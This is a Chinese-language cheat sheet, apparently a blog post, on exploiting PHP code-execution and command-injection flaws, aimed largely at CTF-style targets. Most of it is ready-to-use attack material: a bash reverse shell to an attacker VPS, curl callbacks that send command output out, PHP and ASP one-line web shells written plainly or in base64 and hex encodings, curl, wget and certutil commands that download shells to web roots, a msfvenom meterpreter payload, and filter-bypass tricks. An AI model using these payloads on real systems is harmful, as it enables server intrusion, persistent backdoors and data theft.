文章推荐
概述
代码执行
>引用脚本代码解析执行
代码执行漏洞是由于服务器
对危险函数过滤不严
导致用户输入的一些字符串可以被转换成代码来执行,从而造成代码执行漏洞
命令执行
>脚本调用操作系统命令
Web应用的脚本代码在执行命令的时候过滤不严
从而注入一段攻击者能够控制的代码,在服务器上以Web服务的后台权限远程执行恶意指令
一、PHP语言
1.1代码执行函数
函数介绍:
https://www.cnblogs.com/networkroom/p/16395024.html
https://www.ngui.cc/article/show-519518.html?action=onClick
eval()、assert()、preg_replace()、create_function()、array_map()、
call_user_func()、call_user_func_array()、array_filter()、
uasort()、等
1.2命令执行函数
函数介绍:
https://www.cnblogs.com/networkroom/p/16395024.html
https://www.ngui.cc/article/show-519518.html?action=onClick
system()、exec()、shell_exec()、pcntl_exec()、popen()、
proc_popen()、passthru()、等
1.3利用手段
出网测试
1、使用dnslog.cn、ceye.io
原理:反引号的命令会自动执行并返回命令执行的结果拼接到命令里
2、VPS
先在vps处用nc进行监听
nc -l -p 8080 -vvv nc -lvnp 9988
然后在靶机命令执行处输入
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1
3、VPS 开启httpserver 服务
pyhton -m http.server 8888 #pyhton3中启动方式,开启的端口为80
python -m SimpleHTTPServer 8888 #python2启动方式
curl http://vps_ip:8888/`whoami`
3.2 写入Shell
1、查找路径
locate 00000.png 2>/dev/null
find / -name 00000.png 2>/dev/null
find / | grep 00000.png 2>/dev/null
find /var/www/html/ -name "*.php"
| xargs grep "某某网站"
dir /a/b/s c:\xxxxx.jpg
2、常规写入
在有写入权限、知道路径的的情况下,直接写入一句话getshell
echo ' eval($_POST[1]);?>' > /var/www/html/shell.php
set /p="<%execute request("1")%>" > C:\inetpub\wwwroot\shell.asp
echo ^<%execute request("1")%^> > C:\inetpub\wwwroot\shell.asp
3、远程下载写入:
curl http://192.168.1.100/shell.txt >
/var/www/html/shell.php
wget http://192.168.1.120/shell.txt -O
/var/www/html/shell.php
4、远程下载写入:
curl http://192.168.1.100/shell.txt > /var/www/html/shell.php
wget http://192.168.1.120/shell.txt -O /var/www/html/shell.php
certutil -urlcache -split -f http://192.168.1.105:8080/shell.txt C:\inetpub\wwwroot\shell.asp
5、编码方式写入:
echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ | base64 -d > /var/www/html/shell.php
echo 3C3F706870206576616C28245F504F53545B315D293B3F3E | xxd -r -ps > /var/www/html/shell.php
更多姿势参考链接:https://www.wangan.com/p/7fy7fxcc831261a2
3.3 反弹Shell
/bin/bash -i >& /dev/tcp/vps_ip/4433 0>&1
3.4 CS/Msf 马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.43.223 LPORT=4444 -f elf -o 1.elf
1.4绕过手法
通配符
falg=fl*
cat fl*
cat ?la*
可以利用通配符来进行模糊匹配,配合占位符来进行绕过
转义符号
ca\t /fl\ag
cat fl''ag
拼接法
a=fl;b=ag;cat $IFS$a$b
反引号
cat `ls`
编码绕过
组合绕过
touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t >shell
sh shell
#\代表换行
#ls -t 代表将文本按时间排序输出
# ls -t > shell 代表将输出输入到shell文件中
# sh shell 代表将文本中的文字读取出来执行
使用空变量$*和$@,$x,${x}绕过
ca$*t fl$*ag
ca$@t fl$@ag
ca$5t fl$5ag
ca${2}t fl${2}ag
异或无符号(针对过滤了0-9a-zA-z)
异或: rce-xor.php & rce-xor.py
或: rce-xor-or.php & rce-xor-or.py
管道符
管道符 | 实例 | 描述 |
; | A;B | 无论真假,A与B都执行 |
& | A&B | 无论真假,A与B都执行 |
&& | A&&B | A为真时才执行B,否则只执行A |
| | A|B | 显示B的执行结果 |
|| | A||B | A为假时才执行B,否则只执行A |
空格过滤
以下可代替空格 | ||
< | <> | %20(即space) |
%09(即tab) | $IFS$9 | ${IFS} |
$IFS | {cat,/flag} |
cat替换命令
more | less | cat | tac |
head | tail | vi | vim |
nl | od | sort | uniq |
tac 与cat相反,按行反向输出
more 按页显示,用于文件内容较多且不能滚动屏幕时查看文件
less 与more类似
tail 查看文件末几行
head 查看文件首几行
nl 在cat查看文件的基础上显示行号
od 以二进制方式读文件,od -A d -c /flag转人可读字符
xxd 以二进制方式读文件,同时有可读字符显示
sort 排序文件
uniq 报告或删除文件的重复行
file -f 报错文件内容
grep 过滤查找字符串,grep flag /flag
1.5无回显利用
直接写入一个文件访问判断
直接进行对外访问判断